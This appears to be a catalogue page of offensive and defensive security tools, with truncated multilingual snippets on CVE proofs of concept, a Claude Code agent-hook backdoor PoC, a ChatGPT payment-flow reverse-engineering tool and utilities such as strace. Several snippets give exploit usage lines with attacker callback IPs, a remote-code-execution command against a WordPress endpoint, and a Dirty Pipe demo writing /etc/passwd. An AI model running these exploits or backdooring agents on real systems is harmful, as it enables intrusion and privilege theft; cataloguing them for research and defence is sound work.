OX Appsuite - Cross-Site Scripting

OX App Suite through 7.10.4 allows XSS via the app loading mechanism the PATHINFO to the /appsuite URI. id: CVE-2020-24701 info: name: OX Appsuite - Cross-Site Scripting author: DhiyaneshDk severity: medium description: | OX App Suite through 7.10.4 allows XSS via the app loading mechanism the...

CVE-2023-22515

CVE-2023-22515 Key Information about CVE-2023-22515 Affected Product: Atlassian Confluence Data Center & Confluence Server. Disclosure Date: 04/10/2023. Severity: Critical CVSS 10.0. Vulnerability Type: Broken Access Control / Improper Authorization → allows an attacker to remotely create an admi...

CVE-2025-65318-and-CVE-2025-65319

PoC for CVE-2025-65318 and CVE-2025-65319 CVE-2025-65318 BDU:2025-13740: When using the attachment interaction functionality, Canary Mail 5.1.40 and below saves documents to a file system without a Mark-of-the-Web tag, which allows attackers to bypass the built-in file protection mechanisms of bo...

chepy

Chepy Chepy is a python library with a handy cli that is aimed to mirror some of the capabilities of CyberChef. A reasonable amount of effort was put behind Chepy to make it compatible to the various functionalities that CyberChef offers, all in a pure Pythonic manner. There are some key advantag...

retryabledns

पुनः प्रयास योग्य DNS रिज़ॉल्वर miekg/dns पर आधारित और bogdanovich/dnsresolver से प्रेरित। विशेषताएँ सिस्टम डिफ़ॉल्ट DNS रिज़ॉल्वर और उपयोगकर्ता द्वारा प्रदान किए गए दोनों का समर्थन करता है I/O त्रुटियों, टाइमआउट या नेटवर्क विफलताओं के मामले में DNS अनुरोधों को पुनः प्रयास करता है मनमाना क्वेरी...

Gpt-Agreement-Payment

简体中文 | English Gpt-Agreement-Payment Herramienta de reproducción de extremo a extremo del protocolo de suscripción ChatGPT Plus / Team: desde la captura de paquetes hasta invertir toda la cadena Stripe Checkout → PayPal / GoPay / QRIS → ChatGPT manual-approval → Codex OAuth + PKCE, e implementarl...

strace

strace - the linux syscall tracer This is strace -- a diagnostic, debugging and instructional userspace utility with a traditional command-line interface for Linux. It is used to monitor and tamper with interactions between processes and the Linux kernel, which include system calls, signal...

CVE-2024-21762

Usages: python3 exploit.py --target 192.168.1.1:443 --callback-ip YOURIP --callback-port 8080...

ShatteredFTP

ShatteredFTP Dual exploiter अवलोकन यह शोषण स्क्रिप्ट CrushFTP की उपयोगकर्ता निर्माण/प्रमाणीकरण प्रक्रिया में कमजोरियों को लक्षित करती है, जो दोहरा मोड समर्थन प्रदान करती है: CVE-2025-2825 उपयोगकर्ता निर्माण के दौरान XML पेलोड हैंडलिंग में एक दोष का शोषण करता है। इसका उपयोग तब करें जब आपके लक्ष्य ...

attack-attention

Attacking Attention of Foundation Models Effectively Disrupts Downstream Tasks Official PyTorch implementation of the paper "Attacking Attention of Foundation Models Effectively Disrupts Downstream Tasks" , accepted in the Adversarial Machine Learning on Computer Vision: Foundation Models + X ADV...

CVE-2024-2961

Buddyforms 2.7.7 CNEXT RCE Abusing CVE-2024-2961 and CVE-2023–26326 to RCE Usage root@kitploit: git-clone https://github.com/suce0155/CVE-2024-2961buddyforms2.7.7 pip install -r requirements.txt python3 buddyforms2.7.7cnextexploit.py http://site/wp-admin/admin-ajax.php ip port Analysis and...

RRC_steganography

RRC Steganography Rotation Range-Coding RRC Steganography — an efficient and provably secure linguistic steganographic method that embeds secret messages into natural-language text generated by large language models. Paper : Efficient Provably Secure Linguistic Steganography via Range Coding How ...

cve-2022-24644

CVE-2022-24644 ZZ Inc. KeyMouse 3.08 Windows Unauthenticated Update Remote Code Execution Vulnerability Usage: python3 cve-2022-24644poc.py Details in the report at gerr.re. Steps to reproduce 1. Install KeyMouse Windows 3.08; 2. Set spoof www.keymouse.com to our attacker ip; For the...

unfurl

unfurl Pull out bits of URLs provided on stdin Install If you have Go installed and configured: root@kitploit: ▶ go install github.com/tomnomnom/unfurl@latest Otherwise download the latest binary for your platform, extract it and move it to somewhere in your $PATH e.g. /usr/bin/: root@kitploit: ▶...

CVE-2022-0847

CVE-2022-0847 The Dirty Pipe Vulnerability For educational purposes only root@kitploit: ┌──vagrant㉿kali- └─$ ls -al /etc/passwd -rw-r--r-- 1 root root 3124 Mar 8 08:47 /etc/passwd ┌──vagrant㉿kali- └─$ head -n 1 /etc/passwd root:x:0:0:root:/root:/usr/bin/zsh ┌──vagrant㉿kali- └─$ echo foo /etc/pass...

social-analyzer

Social Analyzer - एक API, CLI और वेब ऐप जो +1000 सोशल मीडिया \ वेबसाइटों पर किसी व्यक्ति की प्रोफ़ाइल का विश्लेषण और खोज करता है। इसमें विभिन्न विश्लेषण और पहचान मॉड्यूल शामिल हैं, और आप जांच प्रक्रिया के दौरान चुन सकते हैं कि किन मॉड्यूल का उपयोग करना है। पहचान मॉड्यूल विभिन्न पहचान तकनीकों पर...

opencanary

OpenCanary من Thinkst Canary OpenCanary هو honeypot شبكي متعدد البروتوكولات. حالة الاستخدام الأساسية له هي الإمساك بالمتسللين بعد اختراقهم للشبكات غير العامة. يتطلب موارد منخفضة للغاية ويمكن تعديله وتغييره وتوسيعه. نظرة عامة يعمل OpenCanary كـ daemon وينفذ بروتوكولات شبكة شائعة متعددة. عندما يختر...

claude-code-backdoor

Claude Code Backdoor PoC A Proof of Concept demonstrating how Claude Code Anthropic's CLI AI agent hooks can be leveraged for Initial Access and Persistence. ⚠️ Disclaimer This project is for educational and ethical security testing purposes only. Unauthorized access to computer systems is illegal...

CVE-2019-6440

CVE-2019-6440: परीक्षित उत्पाद: Zemana antimalware v.2.74.2.150 & Zemana antilogger v.2.74.204.150. v.2.74.2.664 से ठीक किया गया भेद्यता के बारे में: यह भेद्यता हमलावरों को लक्ष्य मशीनों पर उपयोगकर्ता के इंटरैक्शन के बिना SYSTEM विशेषाधिकार प्राप्त करने की अनुमति देती है। आवश्यकताएँ: 1. हमलावर को...

java-remote-class-loader

This tool allows you to send Java bytecode in the form of class files to your clients or potential targets to load and execute using Java ClassLoader together with Reflect API. The client receives the class file from the server and return the respective execution output. Payloads must be written ...